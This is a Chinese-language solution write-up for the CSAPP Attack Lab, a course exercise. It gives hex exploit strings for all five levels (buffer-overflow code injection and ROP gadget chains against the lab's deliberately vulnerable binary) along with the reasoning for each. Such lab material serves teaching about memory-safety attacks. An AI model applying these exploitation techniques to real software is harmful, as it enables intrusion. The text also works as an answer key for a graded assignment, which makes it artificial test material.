CSAPP Attack Lab

CSAPP Attack Lab

本文所有答案都是传给hex2raw的文本,hex2raw会在转换好的字符串后添加换行符,所以答案里没有换行符

第一题

答案

1
2
3
4
5
6
7
8
9
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
/* this five lines fill the buf */

c0 17 40 00 00 00 00 00
/* touch1's addr */

思路

  • 不需要传参,而且没有各种保护,直接构造一个0x28长度的字符串加上touch1的地址(直接用十六进制写),然后用hex2raw转换后输入即可AC

第二题

答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ec 17 40 00 00 00 00 00 
/* touch2的地址 */

48 83 ec 30
/* sub $0x30, %rsp */

48 c7 c7 fa 97 b9 59
/* mov $0x59b997fa,%rdi(我用的self-study版本的cookie是0x59b997fa)*/

c3 /* retq */

aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa
/* 填充的字符串 */

80 dc 61 55
/* 上面的sub $0x30, %rsp指令的地址,也就是getbuf本身的ret要跳转过去的地址 */

思路

  • 需要传一个int参数,字符串里有可执行代码,覆盖返回地址的位置,让ret跳转到我们插进去的代码的位置
  • 需要注意ret读取的是rsp指示的栈顶的位置,所以为了让我们自己传进去的ret能够ret到touch2的地址,需要设置rsp使之指向touch2的地址

第三题

答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
fa 18 40 00 00 00 00 00 
/* touch3 addr, in 0x5561dc78 */

48 83 ec 30
/* sub $0x30,%rsp, in 0x5561dc80 */

48 c7 c7 90 dc 61 55
/* mov $0x5561dc90,%rdi */

c3
/* retq will ret to 0x5561dc78 */

00 00 00 00
/*fill the extra space */

35 39 62 39 39 37 66 61 00
/* string "59b997fa" ,in 0x5561dc90 */

aa aa aa aa aa aa aa
/* fill the extra space */

80 dc 61 55 00 00 00 00
/* 0x5561dc80, our code's begin addr */

/*
* just before our attack code is run,
* rsp == 0x5561dca0
* return addr in 0x5561dca0
*/

思路

  • 比第二题只多了一个“需要在栈上放置字符串”,需要注意的是,字符串放在栈上,那么rsp就应该小于这个字符串的最低位置,否则下一个函数如果读写栈帧,就会破坏字符串
  • 然后覆盖getbuf的存放返回地址的区域,使之跳转到我们插入的代码段的起始位置,也就是0x5561dc80
  • 接着分配栈空间,然后把string的地址传给rdi,然后ret到touch3。需要注意,ret从栈顶读取返回地址,所以touch3的地址放在栈顶

第四题

答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
/* this five line fill the buf */

cc 19 40 00 00 00 00 00
/* 0x4019cc pop %rax; nop; ret */

fa 97 b9 59 00 00 00 00
/* 0x59b997fa */

a2 19 40 00 00 00 00 00
/* 0x4019a2 movq %rax, %rdi; ret */

ec 17 40 00 00 00 00 00
/* touch2 0x4017ec */

思路

  • 构造rop链,在0x4019ca处有b8 29 58 90 c3 mov $0xc3905829,%eax,观察字节码,在0x4019cc处的58pop rax,从而,把cookie放在栈顶,然后调用这条指令,就可以把参数转移到rax
  • 在0x4019a0有8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax,观察字节码,0x4019a2处有48 89 c7,也就是mov %rax, %rdi,从而把参数从rax转移到rdi,然后直接跳转过去touch2就可以了

第五题

答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
aa aa aa aa aa aa aa aa
/* this five lines fill space of buf */

17 2b 40 00 00 00 00 00
/* 402b17, pop rsi,ret to this, assume that rsp is K */

20 00 00 00 00 00 00 00
/* the data pop to rsi */

00 00 00 00 00 00 00 00
/* the data are pop to r15 */
/* after all pop, rsp is K+16 */

06 1a 40 00 00 00 00 00
/* 401a06, movq rsp, rax, ret to here, rsp is K+24 */

a2 19 40 00 00 00 00 00
/* 4019a2, movq rax, rdi */

d6 19 40 00 00 00 00 00
/* 4019d6, lea(%rdi,%rsi,1),%rax , then string addr in rax */

c5 19 40 00 00 00 00 00
/* 4019c5, mov rax, rdi */

fa 18 40 00 00 00 00 00
/* 4018fa touch3 */

35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00
/* 0x59b997fa in here */

思路

  • 把字符串放在栈上,并且因为每次ret都会释放8字节,为了避免后面的函数使用栈而破坏字符串,应该把字符串放在rop链之后

  • 用rsp构造出字符串的地址,这时候需要add或sub等算术指令或lea这个内存计算指令。找来找去,只有位于 0x4019d6的lea (%rdi,%rsi,1),%rax符合要求

  • 为了使用lea,需要把运行到某条指令时的rsp跟字符串位置的偏移量传给rsi。这里我们使用pop指令,在0x402b16找到pop %r14,该指令第二个字节5epop %rsi,因为该指令跟ret之间还有pop %r15,所以栈上的数据应该是16个字节,前8个字节的数据pop给%rsi(该数据的计算在后文),后8个字节给%r15,后8个字节的数据随意构造即可。

    r15是callee-saved寄存器,被调用函数不应该使用寄存器原本的值,所以r15等价于C语言函数内的局部自动变量(非参数),并且getbuf函数被我们攻击前其本身的指令已经执行完了,此时破坏r15的值不会影响getbuf。(以上只是本人目前所知的r15的相关信息推断的,或许r15还有其他跨函数的用途??)

  • 之后用多个mov,实现rsp mov到rax再mov到rdi

  • 然后调用ret到lea指令,这时候,rax保存着字符串的起始地址,然后再把rax mov到rdi

  • 接着就是touch3的地址,让mov rax rdi下面那条ret直接跳转到touch3,攻击成功

几个注意点

  • 用vim的16进制编辑模式要加在打开vim时加-b,否则,会把诸如c0这一类大于0x3f的不属于ascii范围的字符修改成3f
  • ret指令前释放栈帧,ret指令后rsp又加上8,所以设置字符串时如果操作rsp,需要考虑ret释放的8字节
  • 指令的机器码放在栈上时不需要按照字节逆序排放。并且下一条指令相对于当前指令是放在更高的地址而不是更低的地址
  • ret指令从rsp指定的位置读出8字节的信息,所以设置跳转地址时也要对高4byte进行设置
  • 注意gets遇到编码为0xFF的字符时不会终止读取